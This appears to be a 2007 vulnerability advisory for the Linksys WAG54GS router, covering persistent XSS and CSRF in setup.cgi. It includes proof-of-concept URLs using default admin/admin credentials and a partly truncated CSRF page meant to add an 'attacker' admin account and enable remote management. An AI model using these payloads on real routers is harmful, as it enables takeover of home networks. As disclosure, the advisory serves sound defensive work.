Hash: SHA1
Nice look up to http://unknown.pentester.googlepages.com/sitemap.xml
If you bothered that much you deserve the advisory I guess :-D.
btw, I didn't know google pages have sitemap.xml enabled by default.
So no hash cracking here, just to set things straight.

___ BEGIN LAME CRACKED ADVISORY ___
Persistent XSS and CSRF and on Wireless-G ADSL Gateway with
SpeedBooster (WAG54GS)
== Date found ==
24 June 2007
== Firmware Version ==
V1.00.06
== Description ==
There are several persistent XSS vulnerabilities on the
'/setup.cgi' script.
It is possible to inject JavaScript by assigning a payload like the
following
to any of the vulnerable parameters:
<script>[PAYLOAD]</script>
The vulnerable (non-sanitized) parameters are the following:
'devname'
'snmp_getcomm'
'snmp_setcomm'
'c4_trap_ip_'
Additionally, all HTTP requests are not tokenized using non-
predictable values.
Thus, all requests to the router's HTTP interface are vulnerable to
Cross-site
Request Forgeries (CSRF), perhaps by design.
The following is an example of a HTTP request (notice the lack of
non-predictable tokens):
POST /setup.cgi HTTP/1.1
Authorization: Basic YWRtaW46YWRtaW4=
mtenRestore=Restore+Factory+Defaults&todo=defaultsettings&this_file
=Factorydefaults.htm&next_file=index.htm&message=
Although the original request is a POST, we can convert it to a
GET, so that all posted parameters can be submitted on a single URL.
For example, the previous POST request can be converted to a URL
such as the following:
http://admin:admin@192.168.1.1/setup.cgi?mtenRestore=Restore+Factor
y+Defaults&todo=defaultsettings&this_file=Factorydefaults.htm&next_f
ile=index.htm&message=
By forging administrative requests ("Administration" button on the
router's HTML menu), an attacker can compromise the router provided
the
victim user visits a malicious URL or HTML page.
The attack can only be successfuly if any of the following
conditions are met:
- the administrator hasn't changed the default credentials
(admin/admin)
- the administrator's browser has an active authentication session
with the router's interface when the attack happens
(highly unlikely)
== Persistent XSS PoC ==
The following URL creates a DoS condition by making the
"Administration" page inaccessible since 'history.back()'
will run everytime the Administration page is visited. Thus the
administrator won't be able to ever change the
default credentials unless a hard reset is performed on using the
router's physical "restart" switch:
http://admin:admin@192.168.1.1/setup.cgi?user_list=1&sysname=admin&;
sysPasswd=admin&sysConfirmPasswd=admin&remote_management=enable&http

== CSRF PoC ==
The following HTML page does the following:
- adds an *additional* administrative account, with a username
equals to 'attacker' and a password equals to '0wned' (without
removing original admin account!)
- enables remote HTTP management over port 1337
- sets other settings that are inrelevant to this discussion
<html>
<body>
<script>
// send 2 requests to add an administrative account and enable
remote management
// tries with default credentials and with credentials cached by

var img2 = new Image();
img.src =

m&next_file=Administration.htm&message=';
</script>
</body>
</html>
The first URL forges the administrative request using the default
credentials, so it won't work if default credentials
have been changed.
The second URL doesn't specify any credentials as an attempt to use
the browser's cached credentials.
If the admin user has clicked on "Save password" on the basic
authentication prompt, most browsers will
prompt the user to confirm submitting the cached credentials. The
only situation in which browsers won't
ask the user to confirm submitting the credentials would be if the
malicious CSRF page was visited while
the browser has an active authenticated session with the router's
HTTP interface (very unlikely).
== Additional notes ==
- router reboots after saving settings (requests sent to
'setup.cgi')
- all attacks were tested using Internet Explorer 7
- No firmware updates were available at time of testing, only GPL
